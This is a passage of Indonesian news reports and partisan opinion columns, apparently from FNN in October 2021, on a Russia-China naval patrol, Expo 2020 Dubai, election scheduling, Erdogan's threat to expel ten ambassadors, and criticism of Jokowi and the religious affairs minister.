kementerian pertahanan Rusia dalam sebuah pernyataan. Selat tersebut dianggap sebagai perairan internasional. “Tugas dari patroli itu mencakup demonstrasi bendera-bendera Rusia dan China, menjaga perdamaian dan stabilitas di Asia-Pasifik dan menjaga subyek-subyek aktivitas ekonomi maritim kedua negara,” tambah kementerian itu. Sementara itu, kementerian pertahanan China mengatakan pada Minggu bahwa latihan gabungan itu bertujuan untuk “memperdalam hubungan komprehensif strategis China-Rusia di era yang baru, menyempurnakan kemampuan aksi bersama kedua pihak, dan menjaga stabilitas strategis regional dan internasional.” Sebuah laporan di laman resmi kementerian itu menyebut bahwa operasi itu merupakan bagian dari kerja sama tahunan antara kedua negara dan tidak menargetkan pihak ketiga. Para pejabat pertahanan Jepang mengatakan pada Minggu bahwa kapal-kapal Rusia dan China juga telah melewati Selat Osumi di dekat prefecture Kagoshima di bagian selatan Jepang, menurut laporan NHK. Kapal-kapal asing diperbolehkan untuk bergerak melewati selat Osumi dan Tsugaru mengingat kedua area tersebut adalah jalur air internasional, namun kementerian pertahanan Jepang mengatakan akan memonitor kedua angkatan laut, seraya menilai pergerakan baru-baru ini sebagai “tak biasa”, menurut laporan NHK. Para pejabat Jepang belum dapat dimintai keterangan. (mth)

RI Jaring Kolaborasi Industri Dengan Dunia di Expo 2020 Dubai

Expo 2020 Dubai - Kementerian Perindustrian mengangkat keunggulan dan peluang investasi di tanah air melalui penyelenggaraan Business Forum pada 22 -28 Oktober 2021 di ajang Expo 2020 Dubai sebagai upaya untuk menjaring kolaborasi industri dengan dunia. Setidaknya terdapat tiga sektor terkait industri manufaktur dengan peluang kolaborasi yang terbuka lebar, yaitu penerapan industri 4.0, pengembangan kawasan industri, serta optimalisasi peluang industri halal. “Masih terdapat peluang besar serta ruang luas untuk bekerja sama dengan para investor dalam mengembangkan sektor industri melalui pendekatan tiga kebijakan tersebut,” ujar Menteri Perindustrian Agus Gumiwang Kartasasmita lewat keterangannya diterima di Jakarta, Minggu. Menperin memaparkan, percepatan penerapan industri 4.0 dijalankan melalui peta jalan Making Indonesia 4.0 yang telah diluncurkan oleh Presiden Joko Widodo pada 2018. Melalui program ini, Indonesia ditargetkan berada dalam 10 besar ekonomi dunia pada 2030. “Kami yakin, suksesnya implementasi program ini akan meningkatkan PDB per tahun dari baseline 5 persen menjadi 6-7 persen, meningkatkan lapangan kerja dari 20 juta menjadi 30 juta, serta meningkatkan kontribusi sektor manufaktur terhadap PDB menjadi 25 persen di tahun 2030,” jelas Menperin dalam sambutannya pada Business Forum Expo 2020 Dubai hari kedua secara hybrid, Minggu. Percepatan penerapan industri 4.0 dijalankan melalui peta jalan Making Indonesia 4.0 yang telah diluncurkan oleh Presiden Joko Widodo pada 2018. Melalui program ini, Indonesia ditargetkan berada dalam 10 besar ekonomi dunia pada 2030. “Kami yakin, suksesnya implementasi program ini akan meningkatkan PDB per tahun dari baseline 5 persen menjadi 6-7 persen, Meningkatkan lapangan kerja dari 20 juta menjadi 30 juta, serta meningkatkan kontribusi sektor manufaktur terhadap PDB menjadi 25 persen di tahun 2030,” jelas Menperin. emenperin menghadirkan Business Forum dengan berbagai tema dalam tujuh hari penyelenggaraannya, yaitu Indonesia 4.0 (fokus sektor industri 4.0), opportunity of collaboration, Indonesia as reliable investment partner, dan SMI’s Build the Nation. Setidaknya terdapat 45 perusahaan industri Indonesia menyatakan konfirmasinya dalam partisipasi one-on-one meeting. Perusahaan-perusahaan tersebut merupakan perusahaan yang telah menerapkan industri 4.0, produsen produk halal, serta perusahaan kawasan industri halal. Selain menampilkan narasumber yang berasal dari kalangan pemerintah selaku pemangku keputusan, rangkaian Business Forum juga diisi oleh perusahaan industri di Indonesia. Setelah pelaksanaan business forum, Kemenperin memfasilitasi one-on-one meeting antara perusahaan industri dari Indonesia dengan perusahaan Persatuan Emirat Arab secara virtual. “Diharapkan melalui pelaksanaan business forum dan one-on-one meeting ini, akan tercipta semakin banyak kerja sama antara perusahaan industri Indonesia dengan investor asing untuk bersama-sama membangun industri 4.0, kawasan industri, dan industri halal,” ujar Menperin. Business forum yang diadakan Kementerian Perindustrian dalam rangkaian partisipasi Expo 2020 Dubai tersebut dapat diikuti secara live melalui kanal YouTube Kementerian Perindustrian RI setiap hari pada 22-28 Oktober 2021. (mth)

IDI: Ada Percepatan Penyediaan Tenaga Dokter di NTT

Kupang, FNN - Ikatan Dokter Indonesia (IDI) menyebutkan selama 10 tahun terakhir terjadi percepatan penyediaan tenaga dokter umum sehingga hampir semua puskesmas di Provinsi Nusa Tenggara Timur telah memiliki tenaga dokter yang memudahkan pelayanan kesehatan bagi masyarakat. "Hampir semua Puskesmas kabupaten/kota di NTT telah memiliki tenaga dokter untuk pelayanan kesehatan bagi masyarakat terutama di daerah pedalaman. Hal itu bisa terwujud dengan adanya percepatan pengadaan dokter umum dilakukan pemerintah kabupaten/kota di NTT," kata Ketua Ikatan Dokter Indonesia (IDI) Provinsi Nusa Tenggara Timur, dr. Stef Soka di Kupang, Ahad. Stef Soka mengatakan hal itu terkait ketersediaan tenaga dokter di NTT dalam rangka hari Dokter Nasional tahun 2021. Ia mengatakan ketersediaan tenaga dokter di NTT semakin memadai dalam 10 tahun belakangan ini setelah pemerintah kabupaten/kota di Provinsi NTT bekerjasama dengan Fakultas Kedokteran Universitas Nusa Cendana Kupang untuk mendapatkan tenaga dokter umum untuk ditugaskan di Puskesmas. Menurut dia, adanya Fakultas Kedokteran Undana sangat membantu Pemerintah di NTT untuk mendapatkan tenaga dokter untuk ditugaskan ke ouskesmas di kabupaten-kabupaten di NTT. "Melalui bantuan beasiswa bagi tenaga dokter sangat membantu pemenuhan tenaga dokter sehingga semua puskesmas di NTT telah memiliki tenaga dokter umum melalui bantuan beasiswa oleh pemerintah kabupaten/kota di NTT. Distribusi tenaga kesehatan di puskesmas sudah merata di NTT," kata Stef Soka. Dia menambahkan salah satu persoalan yang dihadapi saat ini masih kecilnya pendapatan para dokter yang belum sesuai dengan ketentuan yang ditetapkan IDI. "Apabila pendapatan seorang dokter sudah terpenuhi pada satu unit kerja maka tentu tidak perlu lagi membuka tempat praktek pada tempat lain sehingga lebih konsentrasi memberikan pelayanan medis pada satu tempat pelayanan kesehatan," kata Stef Soka. Menurut dia, sesuai standar IDI pendapatan seorang dokter umum harus mencapai Rp25-30 juta/bulan namun saat ini di NTT masih di bawah ketentuan itu. (mth)

KoDe: Komisioner KPU Harus Tegas dalam Membuat Keputusan

Jakarta, FNN - Pelaksana tugas (Plt) Ketua Konstitusi dan Demokrasi (KoDe) Inisiatif Violla Reininda mengatakan bahwa komisioner Komisi Pemilihan Umum (KPU) harus tegas dan berani untuk menetapkan keputusan. “Komisioner KPU ke depan harus tegas dan berani untuk menetapkan dan juga menegaskan keputusan yang akan diambil,” kata Violla dalam diskusi publik bertajuk “Tahapan Tidak Jelas, Bagaimana Nasib Pemilu 2024?” yang disiarkan secara langsung di kanal YouTube Perludem, Minggu. Violla merujuk pada perdebatan yang terjadi mengenai penetapan jadwal Pemilu 2024 yang hingga saat ini masih belum menemukan titik akhir. KPU yang sekarang, kata Violla, telah memiliki kajian yang cukup komprehensif dan sudah memiliki simulasi tentang jadwal dan tahapan Pemilu 2024. Selain itu, KPU juga sudah mengundang berbagai pemangku kepentingan dan mendengarkan pendapat para pemangku kepentingan. “Apa lagi yang harus ditunggu oleh KPU? Ini (pengambilan keputusan, red.) adalah cara untuk meningkatkan posisi tawar KPU di mata Pemerintah dan juga DPR. Harus secara tegas dan lekas untuk menetapkan jadwal pemilu,” kata dia. Selain itu, Violla juga berharap agar ke depannya, para calon komisioner KPU yang saat ini sedang menjalani proses seleksi, memiliki komunikasi politik yang baik, sehingga dapat berkomunikasi dengan lugas kepada DPR dan Pemerintah di masa mendatang. “Untuk menyudahi adanya deadlock (kebuntuan, red.) tentang hal-hal yang berkaitan dengan kepemiluan seperti saat ini, yang salah satunya adalah mengenai jadwal,” ujar Violla. Terakhir, ia menekankan bahwa komisioner KPU harus merupakan orang-orang yang bisa dan memiliki pemahaman yang komprehensif mengenai pemilihan umum. Berkaca dari penetapan jadwal yang saat ini sedang berlangsung, KPU harus mengetahui berbagai hal teknis, seperti apa yang akan menjadi kebutuhan penyelenggara, baik di tingkat normatif maupun yang terjadi di lapangan. “Ini harus menjadi pembelajaran juga bagi kita semua, bagi panitia seleksi, juga bagi DPR yang akan kemudian melakukan fit and proper test ke depan,” kata Violla. (mth)

Erdogan: Turki Akan Usir 10 Dubes Negara-negara Barat

Istambul, FNN - Presiden Turki Tayyip Erdogan mengungkapkan bahwa ia telah memerintahkan Kementerian Luar Negeri untuk menyatakan 10 duta besar negara-negara Barat persona non grata (sudah tidak diterima) karena mereka mendesak pembebasan tokoh filantropis Osman Kavala. "Saya sudah memberikan perintah yang diperlukan kepada menteri luar negeri dan mengatakan yang harus dilakukan adalah: Kesepuluh duta besar ini semuanya harus dinyatakan persona non grata. Anda akan segera menyelesaikannya," kata Erdogan saat berpidato, Sabtu (23/10). Pengusiran terhadap 10 duta besar itu, yang tujuh di antaranya mewakili pemerintahan negara-negara sekutu Turki di Pakta Pertahanan Atlantik Utara (NATO), akan menjadi keretakan diplomatik paling parah dengan pihak Barat selama 19 tahun Erdogan berkuasa. Kavala telah empat tahun ditahan di penjara. Ia didakwa mendanai serangkaian protes di seluruh negeri Turki pada 2013, juga dianggap terlibat dalam percobaan kudeta pada 2016. Kavala membantah dakwaan-dakwaan tersebut dan ia tetap ditahan selama persidangan terhadapnya bergulir. Dalam pernyataan bersama tertanggal 18 Oktober, para duta besar Kanada, Denmark, Prancis, Jerman, Belanda, Norwegia, Swedia, Finlandia, Selandia Baru, dan Amerika Serikat mengeluarkan desakan agar kasus Kavala segera diselesaikan secara adil dan agar sang tokoh dermawan segera dibebaskan. Duta-duta besar tersebut kemudian dipanggil oleh Kemlu Turki, yang menyebut pernyataan bersama itu sebagai tindakan tidak bertanggung jawab. "Mereka akan tahu dan mengerti Turki. Begitu mereka tidak tahu dan tidak mengerti Turki, mereka harus pergi," katanya di depan massa di kota bagian barat laut, Eskisehir. Pernyataannya itu disambut dengan sorakan orang-orang. Kedutaan AS, Jerman, dan Prancis maupun Gedung Putih dan Departemen Luar Negeri AS belum menanggapi permintaan untuk berkomentar. Erdogan sebelumnya mengatakan bahwa ia berencana bertemu dengan Presiden AS Joe Biden pada KTT G20 di Roma pekan depan. Kemlu Norwegia, sementara itu, mengatakan bahwa kedutaannya di Ankara belum menerima pemberitahuan dari pihak berwenang Turki soal pengusiran. "Duta besar kami belum melakukan sesuatu yang bisa dikenai pengusiran," kata kepala komunikasi Kemlu Norwegia, Trude Maaseide, kepada Reuters melalui surel. Kavala tahun lalu dibebaskan dari dakwaan terlibat dalam rangkaian aksi protes pada 2014. Namun, putusan itu dibatalkan tahun ini. Dakwaan terhadapnya kemudian bahkan ditambah dengan kasus terkait percobaan kudeta. (sws, Reuters)

Airlangga Klaim Golkar Partai Agamis

Jakarta, FNN - Ketua umum Partai Golkar Airlangga Hartarto menegaskan partainya sangat memperdulikan agama, walaupun bukan partai agama. "Sekalipun Golkar bukan partai agama, tapi sangat memperhatikan agama. Salah satu bukti adalah Masjid Ainul Hikmah. Kalau saya boleh klaim, mungkin satu-satunya partai politik di dunia yang punya masjid besar di kantornya," kata Airlangga dalam keterangan tertulis di Jakarta, Minggu. Hal itu juga disampaikan Airlangga saat menghadiri peringatan Maulid Nabi Muhammad SAW sekaligus meresmikan Masjid Ainul Hikmah. Kegiatan itu digelar oleh Majelis Ahlul Hidayah di Kantor DPP Partai Golkar, Minggu. Menko Perekonomian itu menjelaskan, filosofi nama Ainul Hikmah adalah mata kebijaksanaan. Oleh sebab itu, dirinya berharap agar seluruh kebijakan yang lahir dari Partai Golkar akan membawa dampak positif bagi seluruh masyarakat Indonesia. "Filosofi masjid ini adalah mata kebijaksanaan. Sehingga kebijakan dari Partai Golkar, baik dari legislatif dan eksekutif harus bijaksana. Biasanya kalau orang bijaksana itu sudah penuh kematangan, kearifan dan kedewasaan," jelas Airlangga. Selain itu, masjid ini terdiri dari 44 pilar yang itu juga memiliki filosofi tersediri. Bila merujuk pada urutan Asmaul Husna, yaitu Al-Mujib dan artinya maha mengabulkan. Airlangga berharap dengan kegiatan tersebut dapat membawa keberkahan untuk Partai Golkar dan Indonesia. "Kami harap dengan sholawat Nabi Muhammad SAW kita berharap bisa mencontoh kehidupan Nabi Muhammad SAW yang penuh keteladanan. Beliau merupakan manusia yang sempurna dan seluruh kehidupan harus kita ikuti, sehingga membawa rahmat," kata Airlangga. Airlangga berharap agar dengan terus memanjatkan syukur kepada Allah dan Nabi Muhammad SAW, pandemi COVID-19 yang sedang melanda Indonesia dapat segera berakhir. Dalam kesempatan tersebut, Airlangga juga meminta restu para habaib dan alim ulama di tanah air untuk Partai Golkar dalam menyongsong agenda Pemilu dan Pilkada 2024. "Kami juga berharap semoga dalam hajatan Pemilu 2024 diberikan jalan dan kemenangan dalam Pileg, Pilpres dan Pilkada 2024," kata Airlangga. Pimpinan Majelis Ahbabul Musthafa-Solo Habib Syech bin Abdul Qodir Assegaff yang juga hadir dalam acara itu memimpin langsung sholawat bersama ribuan kader dan syekher mania yang juga mengikuti secara virtual. Dalam kegiatan itu, turut dihadiri oleh Pengasuh Majelis Asmaul Husna Jakarta Habib Luthfi Bin Ahmad Alatas, Pimpinan Majelis Ahbabul Musthafa-Solo Habib Syech bin Abdul Qodir Assegaff, Pengasuh Pondok Pesantren Tahfizh Daarul Quran Tangerang KH Yusuf Mansur dan Sekretaris Dewan Pertimbangan MUI Pusat KH Zulfa Mustafa. Selanjutnya, Pimpinan Majelis Ahlul Hidayah KH Nusron Wahid, Menpora Zainuddin Amali, Menteri Perindustrian Agus Gumiwang Kartasasmita, Sekjen Partai Golkar Lodewijk F. Paulus dan Wakil Ketua Umum Partai Golkar Ahmad Doli Kurnia serta Wakil Ketua Komisi VIII DPR RI Ace Hasan. (sws, ant)

Pengamat Politik Sebut Prabowo Capres Pilihan Milenial

Jakarta, FNN - Pengamat politik dari UIN Syarif Hidayatullah Jakarta Adi Prayitno menyebut Menteri Pertahanan Prabowo Subianto menjadi bakal calon presiden pilihan milenial dan generasi Z. "Data itu berdasarkan hasil laporan jajak pendapat Libang Kompas. Jadi, Prabowo tak banyak Gimmick. Lurus saja bekerja tanpa hingar bingar apapun," jelas Adi Prayitno dalam keterangan tertulis di Jakarta, Minggu. Hasil jajak pendapat Litbang Kompas, sebanyak 17,4 persen milenial memilih Prabowo Prabowo Subianto jika pemilu dilakukan saat ini. Selain dari generasi milenial, Prabowo juga mendapat dukungan dari kalangan Gen Z dengan angka 13,7 persen. Hasil itu lebih baik dibanding dukungan terhadap Anies Baswedan sebanyak 11,7 persen, Tri Rismaharini sebanyak 7,8 persen dan Ridwan Kamil sebanyak 5,9 persen. Dalam laporan itu, pilihan kepada Prabowo tidak terlepas dari popularitasnya sebagai calon presiden di dua edisi pemilu sebelumnya. Posisi Menteri Pertahanan di kabinet Jokowi juga ikut mengenalkan Prabowo kepada generasi muda. "Totalitasnya sebagai menteri mendapat respons positif. Millenial itu pikirannya simpel. Suka dengan figur yang bekerja, bukan bekerja mengiklankan diri terus," kata Adi yang juga Direktur Eksekutif Parameter Politik Indonesia itu. Selain berdasarkan kinerja, Adi menjelaskan milenial dan Gen Z melihat sisi heroisme dalam kerja-kerja Prabowo membantu merealisasikan visi dan misi Presiden Jokowi di Kabinet Indonesia Maju. "Artinya, membangun citra dengan kerja, jauh lebih dirasa millenial ketimbang selalu membangun citra tapi minim kerja," kata Adi menegaskan. Mengutip hasil sensus penduduk 2020 jumlah proporsi penduduk Indonesia yakni post Gen Z (di bawah 8 tahun) sebanyak 10,88 persen, Gen Z (8-23 tahun) sebanyak 27,94 persen, Milenial (24-39 tahun) sebanyak 25,87 persen, Gen X (40-55 tahun seanyak 21,88 persen, Baby Boomer (56-74 tahun) sebanyak 11,56 persen dan Pre-boomer (di atas 74 tahun) sebanyak 1,87 persen. (sws, ant)

Anies Baswedan Dihadang, Pertanda Elit Politik Memang Jahat

By Asyari Usman KALAU perilaku elit politik tetap seperti sekarang ini, Indonesia tak bakalan bisa keluar dari krisis multi-dimensi. Apalagi bermimpi mau menjadi negara maju. Tidak mungkin. Bangsa ini akan terpuruk terus. Elit politik sudah melihat dengan terang-benderang bahwa Jokowi-lah yang menjadi penyebab berbagai krisis yang sedang terjadi saat ini. Tak mungkin mereka tidak tahu. Kecuali memang tak mau tahu. Mereka pasti paham bahwa Jokowi terus menumpuk problem, tanpa solusi yang tepat. Anehnya, elit politik tetap setia pada kepemimpinan yang amburadul itu. Bahkan mereka menunjukkan keinginan untuk melanjutkan era Jokowi. Melanjutkan inkompetensi. Melanjutkan disorientasi. Melanjutkan malapetaka yang menimpa bangsa dan negara ini. Keinginan untuk melanjutkan keamburadulan Jokowi itu terlihat dari sikap membebek yang diperlihatkan oleh sebagian besar politisi senior. Mereka mendukung skenario yang bertujuan untuk mencegah figur yang mampu membangkitkan Indonesia. Mereka tak suka Anies Baswedan menjadi presiden. Sebaliknya, Indonesia memerlukan Anies. Celakanya, taktik-taktik busuk untuk merintangi Anies disokong habis oleh elit politik senior. Hanya segelintir yang menginginkan gubernur Jakarta itu memimpin Indonesia. Bermacam-macam taktik mereka jalankan untuk menghadang gubernur yang telah menunjukkan kapabilitas, kapasitas, dan integritas itu. Ada taktik “presidential threshold” 20% (PT) yang sangat mungkin menjegal Anies. Ada taktik mengkooptasi parpol-parpol bejat ke dalam koalisi penguasa. Ada taktik pilkada serentak yang diundurkan. Ada taktik penunjukan pegawai negeri, polisi dan tentara sebagai pelaksana tugas (Plt) kepala daerah bakal yang habis masa jabatan tapi pilkadanya diundur itu. Taktik Plt ini akan digunakan untuk mengendalikan hasil pilkada 2024 di ratusan kabupaten/kota dan provinsi. Semua pikiran jahat mereka dijadikan taktik. Dan semua ini didukung oleh elit politik. Jadi, apa sebutan yang harus diucapkan terhadap elit politik itu kecuali “elit politik jahat”? Mereka inilah yang akan menghancurkan Indonesia. Mereka akan memelihara kesinambungan era Jokowi yang penuh dengan kekacauan. Mereka secara berjemaah akan melakukan apa saja strategi untuk mencegah Anies menjadi presiden. Begitulah pikiran jahat elit politik. Sulit dipahami. Indonesia sedang memerlukan figur seperti Anies Baswedan, tapi para penguasa politik tidak rela itu terjadi. Hebatnya, begitu banyak intelektual yang mengerti buruk-baik, yang melihat sendiri “leadership” Anies, bisa pula terbawa masuk ke perkumpulan orang-orang yang mendukung keberlanjutan era kekacauan ini. Sungguh tidak masuk akal. Di luar nalar. Begitu pun, kita tetap berharap agar orang-orang yang masih waras di DPR dan DPD berusaha menghapuskan PT yang merugikan rakyat itu. Ini sangat penting. Sebab, kelompok yang menginginkan perpanjangan masa jabatan Jokowi akan mencoba mempertahankan PT karena inilah salah satu cara untuk menghadang Anies. Rakyat tentu tidak buta. Mereka tahu siapa-siapa yang berada di belakang skenario licik itu. Dan rakyat paham bahwa penghadangan terhadap Anies merupakan isyarat tentang elit politik yang berpikiran jahat. Yakinlah, rakyat akan melawan kebusukan itu.[] Penulis wartawan senior FNN

Sesak Jubah Kemunafikan

Oleh: Yusuf Blegur Benar dan terbukti apa yang dikatakan Allah Subhanahu Wa Ta'ala dalam Al Quran. Bahwa sesungguhnya demi masa manusia dalam keadaan merugi. Betapapun Al Quran telah diturunkan menjadi panduan hidup sebagai petunjuk dan pembeda, kerap kali manusia lebih senang memilih jalan kesesatan. Selain mengabaikan apa yang menjadi perintah dan laranganNya. Semakin banyak yang dzolim pada dirinya sendiri dan berbuat keji pada orang lain. Bahkan di Indonesia yang dikenal sebagai negara yang masyarakatnya religius dan memilki keluhuran adab ketimuran yang tinggi sekalipun. Kian kemari terasa meninggalkan nilai Ketuhanan dan kemanusiaan. Ada pergeseran drastis dari masyarakat yang terbiasa menggenggam nilai-nilai, kini mengejar materi. Bangsa Indonesia kini bermetamorfosis menjadi masyarakat primitif di era modern. Menjadi jahiliyah di tengah peradaban yang mengusung kemajuan informasi dan teknologi. Atas nama Panca Sila, atas nama UUD 1945 dan atas nama NKRI. Juga atas nama Rakyat Indonesia. Pada akhirnya hanya menjadi jargon-jargon dan simbol yang memuakkan. Kehidupan mayoritas orang Indonesia tidak hanya berlandaskan prinsip-prinsip liberal dan sekuler. Tanpa sadar ataupun dengan penuh kesengajaan. Pemimpin-Pemimpin dan kebanyakan rakyat Indonesia cenderung menjadi masyarakat materialistik dan hedon. Seakan manusia hanya hidup di dunia mencari kenikmatan dan kepuasan semata. Mengejarnya dengan segala cara dan resiko apapun sampai mati. Perspektif kehidupan akhirat dianggap sebagai sebuah fantasi dan ilusi. Masyarakat yang secara esensi dan subtansi miskin spiritual dan kerapkali menjual aqidahnya. Dalam tinjauan struktur sosial dan sistem nilai. Negara Indonesia tak ubahnya tempat berhimpun masyarakat tak beragama. Satu kenyataan yang tidak bisa dipungkiri, agama menjadi simbol dan formalitas semata. Agama hanya kelengkapan status sosial dan sekadar pemantas. Sementara keberadaan Tuhan dianggap sesuatu yang absurd dan dan tak berwujud sebagai solusi problematika kehidupan manusia. Berhala Modern Kecenderungan menumpuk harta, memburu jabatan dan mengekploitasi kenikmatan hidup di dunia. Seiring waktu membentuk habit dan melahirkan perangai komunal. Perilaku individual dan egosentris menjadi terlanjur kuat mendominasi dan menghegemoni interaksi sosial dalam tananan personal, kelompok atau golongan dan negara. Apa yang kemudian dikenal dengan istilah kebebasan hakiki dan privasi muncul sebagai keangkuhan pribadi. Pola ini semakin mengokohkan superiotas individual dalam ranah sistem kapitalistik . Sementara negara jumawa mengubur agama dan mengusung sekulerisme dan liberalisme. Rakyat terus disuguhi menu multi distorsi. Indonesia melahap makanan campur aduk monarki, otokrasi, oligarki, borjuasi korpirasi, otoritarian dsb. Demokrasi cuma basa-basi. Di lain sisi agama sejak lama dianggap candu masyarakat. Islam diposisikan sebagai bahaya laten. Indonesia yang kaya sumber daya alam dan memiliki beragam potensi lainnya. Sayangnya hanya ditempatkan sebagai obyek penderita. Setelah menjadi pasar bagi dunia. Tempat orang berdagang dan transaksi. Maka jual beli lintas barang dan modal itu. Hanya menampilkan tawar menawar dan kesepakatan. Bersamaan dengan itu yang utama dan paling penting adalah perputaran keuntungan dan pengelolaan modal berkesinambungan. Dalam suasana hiruk-pikuk pasar dunia yang sesungguhnya merupakan globalisme. Tempat siasat dan manuver ideologi dunia yang licik. Selain dikeruk hartanya, masyarakatnya menjadi serakah dan bermental korup. Berwajah bengis dan menindas. Tidak berhenti disitu. sebuah kerugian yang teramat besar mengikuti semua kerusakan sistem itu. Masyarakat Indonesia mulai menggadaikan agamanya. Menjual aqidahnya. Tanpa malu melecehkan syariat. Mengabaikan kekuasaan Tuhan yang sebenarnya. Menuhankan harta dan jabatan demi kesenangan dunia. Kemudian dengan tanpa beban. Semuanya menjadi berhala modern. Begitu bangga dan penuh kesombongan, hidup dengan menghirup nafas kemunafikan. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Yaqut Semakin Parah

By M Rizal Fadillah SEMAKIN semrawut saja cara pandang dan berfikir Menag Yaqut Chalil Qoumas. Pada acara Hari Santri 2021 RMI-PBNU ia menyatakan bahwa Kemenag itu bukan hadiah untuk umat Islam tetapi hadiah untuk NU. "Saya bantah, bukan. Kemenag hadiah untuk NU secara khusus, bukan untuk umat Islam secara keseluruhan". Weleh sepicik ini cara pandang seorang Menteri, Menteri Agama lagi. Tambah Yaqut, "spesifik untuk NU, nah jadi wajar kalau sekarang NU memanfaatkan banyak peluang yang ada di Kemenag". Hwa ha haa luar biasa lucu, seperti anak kecil yang berkacak pinggang didepan anak anak lain lalu menunjukkan sok jagonya dan berteriak bahwa semua yang ada adalah kepunyaan dirinya. Ini di dunia fantasi, dunia boneka, dunia anak-anak, atau dunia nyata dan dewasa ? Seakan tak percaya ada berita seperti ini. Bung Yaqut, di samping NU itu ente tahu ada banyak Ormas keislaman dan keagamaan lainnya. Mereka adalah bagian dari agama yang dilindungi di negeri ini. NU bukan satu-satunya organisasi yang bisa main klaim. Kemenag itu bukan hanya milik NU. Menteri Agama Republik Indonesia pertama adalah Haji Mohammad Rasyidi yang diangkat oleh Presiden Soekarno dalam Kabinet Syahrir II. Menjabat dari tanggal 3 Januari 1946 hingga 2 Oktober 1946. HM Rasyidi berpendidikan Islam modern, tokoh Islam terkemuka, dan yang pasti bukan NU. Menteri Agama pun berganti ganti dari berbagai organisasi termasuk cendekiawan atau dari yang berlatar belakang militer. NU tidak boleh main klaim dan rebut secara sewenang-wenang dengan mengingkari sejarah pendirian Kemenag yang dicanangkan untuk berkhidmat bagi semua agama termasuk umat Islam secara keseluruhan. Pembentukan Kemenag dimulai dari usul Muhammad Yamin dalam Sidang kedua BPUPKI tanggal 11 Juli 1945. "Tidak cukuplah jaminan kepada agama Islam dengan Mahkamah Tinggi saja, melainkan harus kita wujudkan menurut kepentingan agama Islam itu sendiri. Pendek kata menurut kehendak rakyat, bahwa urusan agama Islam yang berhubungan dengan pendidikan Islam, wakaf dan masjid dan penyiaran harus diurus oleh kementrian yang istimewa yaitu yang kita namai Kementrian Agama". Setelah terhambat pembentukan untuk merealisasikan usul Moh. Yamin tersebut, akhirnya Presiden Soekarno dan Moh Hatta menyetujui agenda pembentukan Kementrian Agama, dan diangkatlah HM Rasyidi tokoh Muhammadiyah menjadi Menteri Agama pertama. Pembentukan mana didukung pula oleh HM Natsir tokoh Masyumi. Jadi pembentukan Kementrian Agama tidak ada hubungan dengan hadiah kepada NU. Apalagi dikaitkan dengan pencoretan 7 kata sila pertama Pancasila hasil rumusan Piagam Jakarta. Perlu diketahui bahwa tokoh yang berjasa di samping tokoh-tokoh Islam lain adalah Ki Bagus Hadikusumo Ketua Muhammadiyah bersama rekan seorganisasinya Mr Kasman Singodimedjo yang juga menjadi anggota PPKI. Nah Yaqut memang parah dan semakin parah saja. Terus membuat gaduh dunia keagamaan. Menteri ini bukan menjadi figur negarawan penyejuk tapi pemanas umat. Betul menurut tokoh Islam Anwar Abbas bahwa jika betul bahwa Kemenag hanya menjadi wadah yang dimanfaatkan untuk NU, sebaiknya Kemenag itu dibubarkan saja. Atau pilihan yang paling bijak, segera berhentikan Menteri Agama, ganti Yaqut Cholil Qoumas. *) Pemerhati Politik dan Kebangsaan

Pertani Pasok Benih Padi Sebanyak 25.203 Ton hingga Oktober 2021

Jakarta, FNN - PT Pertani (Persero) selaku BUMN klaster pangan mengungkapkan telah menyalurkan benih padi sebanyak 25.203 ton hingga Oktober 2021. Direktur Utama PT Pertani (Persero) Maryono mengatakan, hingga Oktober 2021 perusahaan mencatat telah memasok benih padi sebanyak 25.203 ton atau untuk kebutuhan luasan lahan sawah sekitar satu juta hektare. "Hingga Oktober 2021 ini kami memasok benih padi untuk lebih dari 1 juta hektare sawah ke lebih dari 24 provinsi di Indonesia. Dimana jumlah tersebut dapat menghasilkan sekitar 3 juta ton beras atau 10 persen dari kebutuhan beras nasional yang sebesar 30 juta ton," ujar Maryono dalam keterangan tertulis yang diterima di Jakarta, Minggu. Pasokan benih ini disalurkan langsung ke para petani yang diajukan Kementerian Pertanian RI melalui Direktorat Perbenihan, Direktorat Serealia, Direktorat Perlindungan Tanaman dan Hortikultura serta Dinas Pertanian Daerah baik Provinsi, Kota dan Kabupaten melalui program e-Katalog Benih Padi dari Lembaga Kebijakan Pengadaan Barang/Jasa Pemerintah (LKPP). Maryono menyampaikan, produksi benih padi yang dilakukan Pertani selama ini juga dilakukan melibatkan kelompok tani yang tentunya dapat mendukung kesejahteraan petani melalui program opkup atau serap gabah petani. Program tersebut dicanangkan melalui sinergi antar Kementerian baik Kementerian BUMN dan Kementerian Pertanian RI yang pada akhirnya terjadi peningkatan kesejahteraan petani. Dirinya juga optimistis setelah merger serta tergabung dalam holding pangan yang dipimpin PT RNI , perusahaan akan mendapatkan lebih banyak kepercayaan dari para konsumen mengingat penjualan benih PT Pertani sebelumnya cukup baik yang pada tahun 2020 disaat pandemi, penjualan benih padi PT Pertani mengalami kenaikan dengan membukukan penjualan benih padi sekitar 31.000 ton. Setelah ditetapkannya Peraturan Presiden Nomor 98/2021 Tentang Penggabungan Perusahaan Perseroan PT Pertani ke dalam PT Sang Hyang Seri ( Persero ) yang telah ditandatangani pada 15 September 2021. PT Pertani (Persero) tetap menjalankan kegiatan operasionalnya baik pada bidang produksi maupun penjualan. Sebelumnya Direktur PT RNI Arief Prasetyo Adi mengatakan BUMN Klaster Pangan, akan terus melakukan inovasi pengembangan produk dan model bisnis. Hal ini seiring dengan proses pembentukan Holding BUMN Pangan yang saat ini masih berjalan. Arief berharap, saat holding BUMN Pangan telah resmi terbentuk, BUMN pangan dapat langsung berlari menjalankan berbagai inisiatif strategis guna mendukung terwujudnya ketahanan pangan dan meningkatkan kesejahteraan para petani, peternak, serta nelayan. (mth)

Muktamar-34: Muktamar NU Itu Bukan Pemilihan Presiden (5)

